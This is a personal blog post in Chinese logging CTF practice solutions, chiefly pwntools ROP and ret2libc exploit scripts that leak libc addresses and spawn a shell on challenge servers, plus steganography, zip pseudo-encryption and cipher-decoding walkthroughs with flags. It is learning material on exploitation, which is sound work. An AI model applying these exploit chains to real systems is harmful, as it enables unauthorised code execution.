ctf做题记录2

jarvisoj_level2_x64

屏幕截图 2022-04-14 193737

checksec后发现是64位NX_ENABLE的程序,打开ida后发现就是一个简单的64位rop,题目用意应该是让我们熟悉下64位和32位rop构造的区别

屏幕截图 2022-04-14 193819

在64位中,函数传参通过寄存器,所以可以在函数找到pop_rdi_ret的地址,然后就可以把str_bin_sh传入system函数中

屏幕截图 2022-04-14 193748

于是exp可以这样构造

1
2
3
4
5
6
7
8
9
10
from pwn import *
a=remote("node4.buuoj.cn",28168)
elf=ELF("./level2_x64")
sys_plt=elf.plt["system"]
pop_rdi_ret=0x004006b3
bin_addr=0x00600A90
payload=b'a'*128+b'a'*8+p64(pop_rdi_ret)+p64(bin_addr)+p64(sys_plt)
a.recvuntil(":")
a.send(payload)
a.interactive()

buuoj not_the_Same

这道题我想简单了,我以为是只要利用gets漏洞将get_Secret的地址传入进去就可以了,没想到get_secret函数就是将flag的内容计入到了fl4g,需要利用write函数或者printf函数,看了wp才解出来,就当作学习了

屏幕截图 2022-04-14 204035

先checksec一下发现是32位开了NX_ENABLE的程序,不是64位相对写rop简单了点,看主函数发现有gets函数,可以栈溢出,将返回地址改到get_secret函数,然后再用writ函数输出就行了

exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
a=remote("node4.buuoj.cn",27886)
elf=ELF("./not_the_same_3dsctf_2016")
payload=b'a'*45+p32(0x080489E0)+p32(elf.sym["write"])+b'aaaa'+p32(1)+p32(0x080ECA2D)+p32(100)
#第一个是get_secret函数的地址,第二个是当get_secret函数结束后的返回地址,第三个是当write函数结束后的返回地址,然后再是write函数参数地址
#write函数第一个参数是文件描述符,write默认为1
#第二个参数是将要输出的内容的地址
#第三个参数是将要输出内容的长度
a.send(payload)
a.interactive()

wp的第二种解法是用printf函数的返回地址来打出fl4g,但是要注意的点是,使用printf来返回flag的值时要返回程序正常结束的地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#coding=utf-8
from pwn import * #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'

p=remote('node3.buuoj.cn','26732')
fl4g=0x080ECA2D

backdoor_addr=0x80489a0
printf_addr=0x0804F0A0
exi=0x804E660
payload = 'a'*0x2d
payload += p32(backdoor_addr) #gets栈溢出ret到get_secret
payload += p32(printf_addr) #执行完get_secret后的返回地址
payload += p32(exi) #执行完printf后的返回地址
payload += p32(fl4g) #printf打印的内容
p.sendline(payload)
p.interactive()

buuoj ciscn_2019_n_5

屏幕截图 2022-04-17 195444

记得程序里面是puts,有回车所以在接受的时候要recv("?")才行,容易错

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
a=remote("node4.buuoj.cn",25155)
elf=ELF("./ciscn_2019_n_5")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=elf.sym['main']
a.recvuntil("e")
a.sendline(b'1')
a.recvuntil("?\n")
payload1=b'a'*0x28+p64(0x00400713)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
a.sendline(payload1)
puts_addr=u64(a.recv(7)[:-1].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
sys_addr=libcbase+libc.dump('system')
bin_addr=libcbase+libc.dump('str_bin_sh')
a.recvuntil("e")
a.sendline(b'1')
a.recvuntil("?\n")
payload2=b'a'*0x28+p64(0x004004c9)+p64(0x00400713)+p64(bin_addr)+p64(sys_addr)
a.sendline(payload2)
a.interactive()

buuoj other_shellcode

图片没上传成功

屏幕截图 2022-04-21 131917

看题目发现已经集成好了shellcode,于是只要连接上服务器就可以得到flag

1
flag{09065662-c02a-44d1-9d68-7c29d1144450}

buuoj 面具下的flag

下载题目后发现是图片,先试了下用stegsolve试了下有没有LSB隐写,发现没有。于是又用binwalk开试,发现有藏zip,于是用binwalk提取出来

屏幕截图 2022-04-27 203023
1
binwalk -e mianju.jpg --root-as=root(因为binwalk需要以root身份运行所以需要加这句)

提取出来后得到zip文件发现是伪加密(更改尾部的09 00 为00 00),用winhex改后可以提出flag.vmdk文件,vmdk文件可以用7z解压出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
zip伪加密方法
压缩源文件数据区:

50 4B 03 04:这是头文件标记(0x04034b50
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516
19 00 00 00:压缩后尺寸(25
17 00 00 00:未压缩尺寸(23
07 00:文件名长度
00 00:扩展记录长度
6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500


压缩源文件目录区:

50 4B 01 02:目录中文件文件头标记(0x02014b50)
3F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516
19 00 00 00:压缩后尺寸(25
17 00 00 00:未压缩尺寸(23
07 00:文件名长度
24 00:扩展字段长度
00 00:文件注释长度
00 00:磁盘开始号
00 00:内部文件属性
20 00 00 00:外部文件属性
00 00 00 00:局部头部偏移量

!!!!!

1
7z x flag.vmdk -o./

提取出来后发现是brainfuck加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.<
++++[ ->+++ +<]>+ +++.< +++++ +[->- ----- <]>-- ----- --.<+ +++[- >----
<]>-- ----- .<+++ [->++ +<]>+ +++++ .<+++ +[->- ---<] >-.<+ +++++ [->++
++++< ]>+++ +++.< +++++ [->-- ---<] >---- -.+++ .<+++ [->-- -<]>- ----- .<
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook.
Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook.
Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.

使用brainfuck在线解密网站就可以得到flag:flag{N7F5_AD5_i5_funny!}

buuoj 荷兰宽带泄露 被偷走的文件 秘密文件

被刷新的文件

buuoj 2018_rop

checksec后发现是32位开启了NX的程序,于是打开ida分析

屏幕截图 2022-04-29 221100屏幕截图 2022-04-29 221051

典型的ret2libc,于是可以构造payload,同时再巩固下libc模板中的关键位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
a=remote("node4.buuoj.cn",28791)
elf=ELF("./2018_rop")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x080484C6
payload1=b'a'*140+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
#32位程序:先是write函数的地址 + 预留返回地址 + write函数的三个参数 (1 + write函数的真正地址(got表内的地址) + 打印的字节)

a.send(payload1)
write_addr=u32(a.recv())
libc=LibcSearcher('write',write_addr)
print(hex(write_addr))
libcbase=write_addr-libc.dump("write")
sys_addr=libcbase+libc.dump("system")
bin_sh=libcbase+libc.dump("str_bin_sh")
payload2=b'a'*140+p32(sys_addr)+b'aaaa'+p32(bin_sh)
a.send(payload2)
a.interactive()

补充下retlibc2模板中的关键部分payload构造

32位:

​ write函数有三个参数,所以构造payload应该为:

1
先是write函数的地址 + 预留返回地址 + write函数的三个参数 (1 + write函数的真正地址(got表内的地址) + 打印的字节)

64位:

  1. 与32的区别是64位通过寄存器传入参数,同时先传参,所以构造以write为泄露地址的payload应该为
1
偏移量 + rdi寄存器 + 第一个参数 + rsi寄存器 + 第二个参数 + rdx寄存器 + 第三个参数 + rdx寄存器+write函数的地址 + 预留返回地址
  1. 如果是puts函数只需要一个参数即可(也就是只需要传入rdi一个寄存器)

  2. 同时64位在接受时尽量采用

1
write_addr = u64(r.recvuntil("x7f")[-6:].ljust(8,"x00"))

​ 因为64位的地址都是7f开头的,如果是用recv(8)的话就会截取前八个字节,而在7f之前还有另外的输出,就会造成错误,而用的是第一种取7f之前的就不会出错,所以以后尽量用第一种,不容易出错。你当然可以用debug调试查看一下。

bjdctf_2020_babyrop

checksec后发现是64位未开启NX的程序,大概猜测是ret2libc

打开程序看后发现确实是

1
2
3
4
5
6
7
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h]

puts("Pull up your sword and tell me u story!");
return read(0, buf, 0x64uLL);
}

于是可以构造ex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
context.log_level='debug'

a=remote("node4.buuoj.cn",25906)
elf=ELF("./bjdctf_2020_babyrop")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=elf.sym['main']
pop_rdi=0x00400733
a.recvuntil("!\n")
payload1=b'a'*40+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
a.send(payload1)
a.recv()#使用puts函数构造payload时需要再吃一个回车!!!
puts_addr=u64(a.recv(7)[:-1].ljust(8,b"\x00"))
print(hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump("system")
bin_addr=libcbase+libc.dump("str_bin_sh")
a.recvuntil("!\n")
payload2=b'a'*40+p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
a.send(payload2)
a.interactive()

warning:在64位程序中,puts等函数的地址通常为7f开头,如果泄露出来的地址不是很可能是payload错了

warning2: 在使用puts函数作为泄漏时,记得在接受时需要前面先吃一个回车

buuoj misc梅花香自苦寒来

打开后发现是图片,用winhex打开发现有很多十六进制数

在线网站(https://coding.tools/cn/hex-to-ascii)后发现这些十六进制文本是点的坐标

将左右括号去除掉后可以用matplotlib+numpy配合使用画出二维码图片

1
2
3
4
5
import matplotlib.pyplot as plt
import numpy as np
x, y = np.loadtxt('./result.txt', delimiter=',', unpack=True)
plt.plot(x, y, '.')
plt.show()
屏幕截图 2022-04-30 160642

i春秋春季赛 misc tiger

下载完附件后发现文件有一个图片,一个压缩包和一个提示文件。提示文件内容如下

1
2
3
1.These are rot for 47 days
2.Have you heard that lsb steganography also requires a password?
ag2a`f76

根据提示可知是rot47加密(这里我才疏学浅了,没看出来),可以得到密码为:28a217fe

解压后得到一个key.zip文件和flag.zip的文件,输入后发现每个文件夹里都有相同的informa.txt.txt文件,这里又学到了:如果两个压缩文件都有相同的文件,就可以采用明文攻击,(利用ARCHCP)

图片

得到后会出现一个二维码,扫码后出现flag is not here,可以猜测是零宽字符,于是用在线网站yuanfux.github.io/zero-width-web/解密零宽字符,得到

1
Owl wvn n xhkm SBWav krttqbu gfq gja jhheu up yljycxjpu, vvtx R jzeh pydv usd zp lalhmk, ic brtkac ya whep{866q3755-t358-5119-txnr-juw666e8099m}, uroa okv!

用vigenere解密就可以得到正确的答案

1
You are a good CTFer because you can solve my challenge, next I will give you my secret, my secret is flag{866d3755-c358-5119-abeb-bda666a8099d}, have fun!

i春秋春季赛 misc pintu

这道题我之前做过用montage加gaps拼图的题目,以为这道题也可以使用gaps来实现拼图,结果发现是行不通的,看了下答案才知道原来bmp中有可以隐写的地方,并根据此来进行拼图,学到了

1
2
3
4
5
6
要先了解下bmp的文件头构造:
bfType:2字节,文件类型;
bfSize:4字节,文件大小;
bfReserved1:2字节,保留,必须设置为0;
bfReserved2:2字节,保留,必须设置为0;
bfOffBits:4字节,从头到位图数据的偏移;

所以保留字这里就可以藏信息,打开winhex发现文件在保留字这藏有信息

209c38f8e146bd1e2ee82696c46441c3.jpg

可以猜测拼图是按这个来进行排序的(第六位为x,第八位为y)(os:谁想到的啊!!)

于是可以上脚本

1
2
3
4
5
6
7
8
9
from PIL import Image #调用PIL中的Image库
png=Image.new("RGB",(3840,2160))
for i in range(0,14400):
file=open(f'{i}.bmp','rb').read()
x=file[6]
y=file[8]
image=Image.open(f'{i}.bmp')
png.paste(image,(x*32,y*18))
png.save('flag.bmp')

关于PIL库中Image的使用可以参考这个博客地址:PIL库中Image的使用

于是就可以得到正确的图片

flag1

ctf做题记录2
http://www.ooorz.site/2022/04/27/ctf做题记录2/
作者
Lin Xinjie
发布于
2022年4月27日
更新于
2024年10月19日
许可协议